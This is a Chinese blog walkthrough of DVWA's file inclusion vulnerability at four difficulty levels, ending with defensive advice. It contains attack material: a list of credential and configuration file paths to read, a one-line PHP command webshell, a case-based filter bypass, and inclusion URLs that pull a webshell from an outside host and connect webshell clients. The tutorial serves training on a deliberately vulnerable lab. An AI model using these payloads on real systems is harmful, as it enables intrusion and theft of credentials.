DVWA靶机-全级别测试-文件包含
原创
©著作权归作者所有:来自51CTO博客作者最爱大苹果的原创作品,请联系作者获取转载授权,否则将追究法律责任
文件包含
文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。
PHP中的文件包含分为本地文件包含和远程文件包含。
常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
低难度
设置如下:
源代码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
我们可以访问很多目录文件
/www/admin/localhost_80/wwwroot/DVWA/config/config.inc.php
有错误信息
我们访问/etc/passwd
有错误信息
添加很多../上层目录,发现这里可能写死了绝对路径
访问php.ini文件
/www/admin/localhost_80/wwwroot/DVWA/php.ini
文件内容
网站出来的信息
还记得上次我们上传了一个木马图片吗?
我们找到该路径
http://42.194.205.186/DVWA/vulnerabilities/fi/?page=/www/admin/localhost_80/wwwroot/DVWA/hackable/uploads/888.jpg
使用菜刀链接
点击“添加”
取得web服务站点资源
好家伙,进入可以远程上网
远程访问其他网址的信息(访问恶意的服务器文件,会导致DVWA靶机被远程控制)
中难度
设置如下:
源代码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
可以看到,采取白名单策略,对输入的文件名,进行过滤
但是我们知道,这种过滤是有限的,并不能完全杜绝编码绕过的可能。
我们使用远程文件包含漏洞
1、先建立一个远程服务器提供web服务
2、然后远程访问web服务器,里面包含一个shell 木马
好的,现在我们成功搭建了一个web服务器,我们上传一个webshell
上传一个txt测试
发现可以正常访问
好了,我们上传webshell文件
我们使用小马
<?php system($_REQUEST['cmd']);?>
中国蚁剑链接路径
http://42.194.205.186/DVWA/vulnerabilities/fi/?page=httP://124.70.63.150/789.php
如果使用phpinfo
高难度
设置如下:
源代码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,高安全级别是使用file的格式进行
先不管这些,我们来尝试能否进行远程文件包含访问
本地文件
被限制为“include.php”
通过查询可知
这个只能通过本地文件上传漏洞,再进行利用了
不可能难度
设置如下:
源代码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。
防御措施
1、使用白名单方式
2、指定相应的后缀名称
3、使用waf等安全设备